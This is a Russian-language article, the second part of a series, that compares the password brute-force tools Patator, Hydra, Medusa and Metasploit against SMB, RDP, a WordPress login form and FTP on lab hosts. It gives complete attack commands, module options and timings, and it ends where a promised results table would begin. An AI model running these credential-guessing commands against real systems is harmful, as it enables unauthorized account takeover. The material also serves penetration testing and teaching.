Brute-force. Перебор паролей от SSH до Web. Часть 2
Life-Hack [Жизнь-Взлом]/ХакингSMB.
Patator.
При использовании Patator появилось большое количество ложных срабатываний.
Hydra.
hydra -L /root/username -P /root/wordlist.txt 192.168.60.50 smb
Благодаря своим алгоритмам Hydra справилась с задачей всего за 5 секунд.
Medusa
medusa -h 192.168.60.50 -U /root/username -P /root/wordlist.txt -M smbnt
Запуская перебор, я ожидал результатов, схожих с предыдущими, но на этот раз Medusa меня приятно удивила, отработав за считанные секунды.
Metasploit
С помощью поиска search smb_login
находим нужный модуль scanner/smb/smb_login
и применяем его.
Необходимо указать параметры:
RHOSTS
– IP-адрес жертвы;
USER_FILE
– словарь с пользователями;
PASS_FILE
– словарь с паролями;
STOP_ON_SUCCESS
– остановка после подобранной пары логин/пароль.
Metasploit справился с задачей за 1 минуту.
RDP
Patator
patator rdp_login host=192.168.60.50 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:code=132
К сожалению, на данный момент из тестируемых инструментов только Patator может подбирать логин/пароль для RDP-протокола. При этом, даже если Patator и справился с поставленной задачей, в выводе дополнительно появилось ложное срабатывание.
WEB
Для начала нам необходимо понять, как происходит процесс аутентификации.
Для этого нужно отправить тестовые запросы аутентификации и уже из поведения веб-приложения можно будет увидеть, что неверный пароль возвращает код ответа 200, а успешная аутентификация — 302. На эту информацию и будем опираться.
Patator
Учитывая ответы веб-приложения на тестовые запросы, составим команду для запуска Patator:
patator http_fuzz url=http://site.test.lan/wp-login.php method=POST body='log=FILE0&pwd=FILE1&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1' 0=/root/username 1=/root/wordlist.txt before_urls=http://site.test.lan/wp-login.php -x ignore:code=200 accept_cookie=1
http_fuzz
– модуль для brute-force атаки HTTP;
url
– адрес страницы с аутентификацией;
FILE0
– путь до словаря с паролями;
body
– информация, которая передается в POST запросе при аутентификацией;
-x
– в данном случае мы указали команду не выводить на экран сообщения, содержащие параметр с кодом 200;
accept_cookie
– сохранение параметра cookie и передачи его в следующий запрос;
Итог — нам удалось подобрать пароль чуть менее, чем за 30 секунд, что очень быстро.
Hydra
Как мы уже знаем, при неверной аутентификации возвращается код 200, а при успешной — 302. Воспользуемся этой информацией и выполним команду:
hydra -f -L /root/username -P /root/wordlist.txt http-post-form://site.test.lan -m "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1:S=302"
Здесь мы указываем обязательные параметры:
-f
– завершить перебор после получения валидной пары логин/пароль;
-L
– словарь с пользователями;
-P
– словарь с паролями;
http-post-form
– тип формы (в нашем случае POST);
/wp-login.php
– URL страницы с аутентификацией;
^USER^
– показывает куда подставлять имя пользователя;
^PASS^
– показывает куда подставлять пароль из словаря;
S=302
– указание на какой ответ опираться Hydra (в нашем случае — ответ 302 при успешной аутентификации).
Успех ожидал нас уже через 3 минуты 15 секунд.
Medusa
medusa -h site.test.lan -U /root/username -P /root/wordlist.txt -M web-form -m FORM:"/wp-login.php" -m FORM-DATA:"post?log=&pwd=&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1"
К сожалению, при попытках перебора пароля Medusa выдает ошибку «Segmentation fault».
Metasploit
С помощью поиска search wordpress_login находим нужный модуль auxiliary/scanner/http/wordpress_login_enum и применяем его. Необходимо указать параметры:
PASS_FILE
– словарь с паролями;
RHOSTS
– адрес жертвы;
STOP_ON_SUCCESS
– остановка после подобранной пары логин/пароль;
USER_FILE
– словарь с пользователями;
VALIDATE_USERS
– отключить проверку существования учетной записи пользователя;
VERBOSE
– отключить лишний вывод;
VHOST
– доменное имя атакуемого сайта.
Затраченное время — 32 секунды.
FTP
Patator
patator ftp_login host=192.168.60.50 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:code=530
В данном модуле Patator работает уже медленнее, чем с Web-формами, а пароль был подобран за 11 минут 20 секунд.
Hydra
hydra -f -L /root/username -P /root/wordlist.txt ftp://192.168.60.50
Работая по умолчанию в 16 потоков, Hydra смогла перебрать пароли за 7 минут 55 секунд.
Metasploit, Medusa
В Metasploit используем модуль auxiliary/scanner/ftp/ftp_login
В случае с Medusa запрос выглядит следующим образом:
medusa -f -M ftp -U /root/username -P /root/wordlist.txt -h 192.168.60.50
Все параметры стандартные, указываем путь до словарей и обязательно ставим завершение перебора после найденной пары логин/пароль.
С этим протоколом, как и c SSH, Metasploit и Medusa плохо справляются при стандартном количестве потоков. Поэтому если есть желание использовать именно эти инструменты, то необходимо вручную увеличивать количество потоков. Но и тут не все так просто. В однопоточном режиме FTP-сервер при использовании этих инструментов, сбросил соединение, чего не наблюдалось при использовании Patator или Hydra. Поэтому есть вероятность, что увеличение количества потоков не изменит ситуацию.
Заключение
Протестировав разные, но в то же время похожие инструменты на различных сервисах, можно сказать, что у каждого из них есть как достоинства, так и недостатки, а с каким инструментом работать — решать только вам.
Ниже представлена сводная таблица с полученными результатами: